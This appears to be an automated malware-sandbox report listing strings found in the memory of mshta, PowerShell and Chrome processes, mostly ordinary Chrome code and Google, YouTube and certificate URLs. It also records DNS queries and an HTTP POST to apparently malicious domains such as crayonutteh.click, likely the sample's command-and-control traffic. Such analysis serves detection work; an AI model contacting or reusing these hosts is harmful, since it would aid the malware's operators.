#logo{-webkit-mask-image:url(icons/google_logo.svg);-webkit-mask-repeat:no-repeat;-webkit-mask-size:100%;background-color:var(--ntp-logo-color)}:host(:not([single-colored])) #logo{background-image:url(icons/google_logo.svg)}#imageDoodle{cursor:pointer;outline:0}#imageDoodle[tabindex='-1']{cursor:auto}:host([doodle-boxed_]) #imageDoodle{background-color:var(--ntp-logo-box-color);border-radius:20px;padding:16px 24px}:host-context(.focus-outline-visible) #imageDoodle:focus{box-shadow:0 0 0 2px rgba(var(--google-blue-600-rgb),.4)}#imageContainer{display:flex;height:fit-content;position:relative;width:fit-content}#image{max-height:var(--ntp-logo-height);max-width:100%}:host([doodle-boxed_]) #image{max-height:160px}:host([doodle-boxed_][reduced-logo-space-enabled_]) #image{max-height:128px}#animation{height:100%;pointer-events:none;position:absolute;width:100%}#doodle{position:relative}#shareButton{background-color:var(--color-new-tab-page-doodle-share-button-background,none);border:none;height:32px;min-width:32px;padding:0;position:absolute;width:32px;bottom:0}:host-context([dir=ltr]) #shareButton{right:-40px}:host-context([dir=rtl]) #shareButton{left:-40px}#shareButtonIcon{width:18px;height:18px;margin:7px;vertical-align:bottom;mask-image:url(chro
Source: chrome.exe, 00000008.00000003.7067266668.0000584C00204000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7067085715.0000584C01524000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: const FACEBOOK_APP_ID=738026486351791;class DoodleShareDialogElement extends CrLitElement{constructor(){super(...arguments);this.url={url:""}}static get is(){return"ntp-doodle-share-dialog"}static get styles(){return getCss$1()}render(){return getHtml$1.bind(this)()}static get properties(){return{title:{type:String},url:{type:Object}}}onFacebookClick_(){const url="https://www.facebook.com/dialog/share"+`?app_id=${FACEBOOK_APP_ID}`+`&href=${encodeURIComponent(this.url.url)}`+`&hashtag=${encodeURIComponent("#GoogleDoodle")}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kFacebook)}onTwitterClick_(){const url="https://twitter.com/intent/tweet"+`?text=${encodeURIComponent(`${this.title}\n${this.url.url}`)}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kTwitter)}onEmailClick_(){const url=`mailto:?subject=${encodeURIComponent(this.title)}`+`&body=${encodeURIComponent(this.url.url)}`;WindowProxy.getInstance().navigate(url);this.notifyShare_(DoodleShareChannel.kEmail)}onCopyClick_(){this.$.url.select();navigator.clipboard.writeText(this.url.url);this.notifyShare_(DoodleShareChannel.kLinkCopy)}onCloseClick_(){this.$.dialog.close()}notifyShare_(channel){this.fire("share",channel)}}customElements.define(DoodleShareDialogElement.is,DoodleShareDialogElement);let instance$2=null;function getCss(){return instance$2\|\|(instance$2=[...[getCss$3()],css`:host{--ntp-logo-height:200px;display:flex;flex-direction:column;flex-shrink:0;justify-content:flex-end;min-height:var(--ntp-logo-height)}:host([reduced-logo-space-enabled_]){--ntp-logo-height:168px}:host([doodle-boxed_]){justify-content:flex-end}#logo{forced-color-adjust:none;height:92px;width:272px}:host([single-colored]) #logo{-webkit-mask-image:url(icons/google_logo.svg);-webkit-mask-repeat:no-repeat;-webkit-mask-size:100%;background-color:var(--ntp-logo-color)}:host(:not([single-colored])) #logo{background-image:url(icons/google_logo.svg)}#imageDoodle{cursor:pointer;outline:0}#imageDoodle[tabindex='-1']{cursor:auto}:host([doodle-boxed_]) #imageDoodle{background-color:var(--ntp-logo-box-color);border-radius:20px;padding:16px 24px}:host-context(.focus-outline-visible) #imageDoodle:focus{box-shadow:0 0 0 2px rgba(var(--google-blue-600-rgb),.4)}#imageContainer{display:flex;height:fit-content;position:relative;width:fit-content}#image{max-height:var(--ntp-logo-height);max-width:100%}:host([doodle-boxed_]) #image{max-height:160px}:host([doodle-boxed_][reduced-logo-space-enabled_]) #image{max-height:128px}#animation{height:100%;pointer-events:none;position:absolute;width:100%}#doodle{position:relative}#shareButton{background-color:var(--color-new-tab-page-doodle-share-button-background,none);border:none;height:32px;min-width:32px;padding:0;position:absolute;width:32px;bottom:0}:host-context([dir=ltr]) #shareButton{right:-40px}:host-context([dir=rtl]) #shareButton{left:-40px}#shareButtonIcon{width:18px;height:18px;margin:7px;vertical-align:bottom;mask-image:url(chro
Source: chrome.exe, 00000008.00000002.7131076292.0000584C0123C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7132074434.0000584C013A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: chrome.exe, 00000008.00000002.7124510440.0000584C0088B000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7057841838.0000584C001D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/: equals www.youtube.com (Youtube)
Source: chrome.exe, 00000008.00000002.7132146950.0000584C013C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7131076292.0000584C0123C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7132074434.0000584C013A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/?feature=ytca equals www.youtube.com (Youtube)
Source: chrome.exe, 00000008.00000002.7124510440.0000584C0088B000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7057841838.0000584C001D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/J equals www.youtube.com (Youtube)
Source: chrome.exe, 00000008.00000002.7131890276.0000584C01368000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7091490304.0000584C0196C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7135416326.0000584C01978000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/s/notifications/manifest/cr_install.html equals www.youtube.com (Youtube)
Source: chrome.exe, 00000008.00000002.7132789643.0000584C01498000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/s/notifications/manifest/cr_install.htmlult equals www.youtube.com (Youtube)
Source: chrome.exe, 00000008.00000003.7091490304.0000584C0196C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: h\|?r_filling_with_fill_everything_in_the_footerhttps://www.youtube.com/s/notifications/manifest/cr_install.html equals www.youtube.com (Youtube)
Source: chrome.exe, 00000008.00000002.7132146950.0000584C013C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.youtube.com:443 equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: pawpaws.readit-carfanatics.com
Source: global traffic	DNS traffic detected: DNS query: pawpaws1.readit-carfanatics.com
Source: global traffic	DNS traffic detected: DNS query: crayonutteh.click
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: klippetamea8.shop

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: crayonutteh.click

Source: global traffic	TCP traffic: 192.168.11.20:59612 -> 239.255.255.250:1900
Source: global traffic	TCP traffic: 192.168.11.20:59612 -> 239.255.255.250:1900
Source: global traffic	TCP traffic: 192.168.11.20:59612 -> 239.255.255.250:1900
Source: global traffic	TCP traffic: 192.168.11.20:59612 -> 239.255.255.250:1900

Source: chrome.exe, 00000008.00000002.7129490194.0000584C0103C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7062256596.0000584C00AA4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/1423136
Source: chrome.exe, 00000008.00000002.7129490194.0000584C0103C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7062256596.0000584C00AA4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/40096371
Source: chrome.exe, 00000008.00000002.7129490194.0000584C0103C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7062256596.0000584C00AA4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/40096608
Source: chrome.exe, 00000008.00000002.7129490194.0000584C0103C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7062256596.0000584C00AA4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/40096838
Source: chrome.exe, 00000008.00000002.7129490194.0000584C0103C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7062256596.0000584C00AA4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/40644627
Source: chrome.exe, 00000008.00000002.7129490194.0000584C0103C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7062256596.0000584C00AA4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/40644912
Source: chrome.exe, 00000008.00000002.7129490194.0000584C0103C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7062256596.0000584C00AA4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/41488637
Source: chrome.exe, 00000008.00000002.7129490194.0000584C0103C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7062256596.0000584C00AA4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/42261924
Source: chrome.exe, 00000008.00000002.7129490194.0000584C0103C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7062256596.0000584C00AA4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/42263580
Source: chrome.exe, 00000008.00000002.7129490194.0000584C0103C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7062256596.0000584C00AA4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/42264193
Source: chrome.exe, 00000008.00000002.7129490194.0000584C0103C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7062256596.0000584C00AA4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/42264287
Source: chrome.exe, 00000008.00000002.7129490194.0000584C0103C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7062256596.0000584C00AA4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/42264571
Source: chrome.exe, 00000008.00000002.7129490194.0000584C0103C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7062256596.0000584C00AA4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/42265509
Source: chrome.exe, 00000008.00000002.7129490194.0000584C0103C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7062256596.0000584C00AA4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/42266194
Source: chrome.exe, 00000008.00000002.7129490194.0000584C0103C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7062256596.0000584C00AA4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/42266231
Source: chrome.exe, 00000008.00000002.7129490194.0000584C0103C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7062256596.0000584C00AA4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/42266232
Source: chrome.exe, 00000008.00000002.7129490194.0000584C0103C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7062256596.0000584C00AA4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/42266842
Source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDTimestampingCA.crt0
Source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/NETFoundationProjectsCodeSigningCA.crt0
Source: chrome.exe, 00000008.00000002.7121569018.0000584C0025C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://clients2.google.com/time/1/current
Source: chrome.exe, 00000008.00000002.7125768794.0000584C00A1C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://clientservices.googleapis.com/chrome-variations/seed?osname=win&channel=stable&milestone=128
Source: chrome.exe, 00000008.00000003.7062256596.0000584C00AA4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7129256726.0000584C00FF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crbug.com/941620
Source: mshta.exe, 00000002.00000002.6210192215.0000000000618000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.6149394384.000000000061C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.6192860046.0000000000613000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.6188726217.0000000000600000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.6194895355.0000000000616000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.6174031897.0000000002B21000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.7001933185.0000000002ED8000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.7358452778.000000000348F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: mshta.exe, 00000002.00000002.6210192215.0000000000618000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.6149394384.000000000061C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.6192860046.0000000000613000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.6188726217.0000000000600000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.6194895355.0000000000616000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.6174031897.0000000002B21000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.7001933185.0000000002ED8000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.7358452778.000000000348F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: powershell.exe, 00000003.00000002.6174031897.0000000002ADB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoft.co
Source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0P
Source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertHighAssuranceEVRootCA.crl0=
Source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/NETFoundationProjectsCodeSigningCA.crl0E
Source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/sha2-assured-ts.crl02
Source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/NETFoundationProjectsCodeSigningCA.crl0L
Source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0L
Source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/sha2-assured-ts.crl0
Source: chrome.exe, 00000008.00000002.7131890276.0000584C01368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://dns-tunnel-check.googlezip.net/connect
Source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://gdata.youtube.com/feeds/api/videos/
Source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://james.newtonking.com/projects/json
Source: powershell.exe, 00000003.00000002.6180385529.0000000005ADB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.7003687296.0000000005F1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0A
Source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0C
Source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0K
Source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0N
Source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0O
Source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0X
Source: powershell.exe, 00000003.00000002.6174031897.0000000002B21000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.6176300349.0000000004BC9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.7003687296.0000000005008000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000003.00000002.6176300349.0000000004BC9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.7003687296.0000000005008000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png4
Source: chrome.exe, 00000008.00000003.7068331446.0000584C01654000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7070112497.0000584C00550000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7068086564.0000584C01628000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7070347668.0000584C00604000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7069944692.0000584C0051C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7068750030.0000584C01680000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7070233460.0000584C017B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7068559297.0000584C00550000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://polymer.github.io/AUTHORS.txt
Source: chrome.exe, 00000008.00000003.7068331446.0000584C01654000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7070112497.0000584C00550000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7068086564.0000584C01628000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7070347668.0000584C00604000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7069944692.0000584C0051C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7068750030.0000584C01680000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7070233460.0000584C017B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7068559297.0000584C00550000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://polymer.github.io/CONTRIBUTORS.txt
Source: chrome.exe, 00000008.00000003.7068331446.0000584C01654000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7070112497.0000584C00550000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7068086564.0000584C01628000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7070347668.0000584C00604000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7069944692.0000584C0051C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7068750030.0000584C01680000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7070233460.0000584C017B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7068559297.0000584C00550000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://polymer.github.io/LICENSE.txt
Source: chrome.exe, 00000008.00000003.7068331446.0000584C01654000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7070112497.0000584C00550000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7068086564.0000584C01628000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7070347668.0000584C00604000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7069944692.0000584C0051C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7068750030.0000584C01680000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7070233460.0000584C017B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7068559297.0000584C00550000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://polymer.github.io/PATENTS.txt
Source: chrome.exe, 00000008.00000002.7133993315.0000584C0177C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://redirector.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvNzI0QUFXNV9zT2RvdUw
Source: powershell.exe, 00000003.00000002.6176300349.0000000004A71000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.7003687296.0000000004EB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://vimeo.com/api/v2/video/
Source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.andymatuschak.org/xml-namespaces/sparkle
Source: powershell.exe, 00000003.00000002.6174031897.0000000002B21000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.6176300349.0000000004BC9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.7003687296.0000000005008000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000003.00000002.6176300349.0000000004BC9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.7003687296.0000000005008000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html4
Source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apple.com/DTDs/PropertyList-1.0.dtd
Source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/CPS0
Source: chrome.exe, 00000008.00000002.7128161791.0000584C00E24000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.gstatic.com/generate_204
Source: mshta.exe, 00000002.00000002.6210192215.0000000000618000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.6149394384.000000000061C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.6192860046.0000000000613000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.6188726217.0000000000600000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.6194895355.0000000000616000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.6174031897.0000000002B21000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.7001933185.0000000002ED8000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.7358452778.000000000348F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.quovadis.bm0
Source: chrome.exe, 00000008.00000002.7130933810.0000584C01204000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7062319899.0000584C00AB4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://2542116.fls.doubleclick.net/activityi;dc_pre=CL6sqZyWpIgDFWU-RAgdUQci9A;src=2542116;type=cli
Source: chrome.exe, 00000008.00000002.7120202707.0000584C00014000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accountcapabilities-pa.googleapis.com/v1/accountcapabilities:batchGet
Source: chrome.exe, 00000008.00000002.7133806940.0000584C01730000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7123415790.0000584C00720000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7125554487.0000584C009E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com
Source: chrome.exe, 00000008.00000002.7133806940.0000584C01730000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7121748450.0000584C00310000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/
Source: chrome.exe, 00000008.00000002.7121569018.0000584C0025C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/GetCheckConnectionInfo
Source: chrome.exe, 00000008.00000002.7121569018.0000584C0025C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/ListAccounts?json=standard
Source: chrome.exe, 00000008.00000002.7121569018.0000584C0025C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/reauth/chromeos
Source: chrome.exe, 00000008.00000002.7121569018.0000584C0025C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/setup/chrome/usermenu
Source: chrome.exe, 00000008.00000002.7121569018.0000584C0025C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/setup/kidsignin/chromeos
Source: chrome.exe, 00000008.00000002.7121569018.0000584C0025C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/setup/kidsignup/chromeos
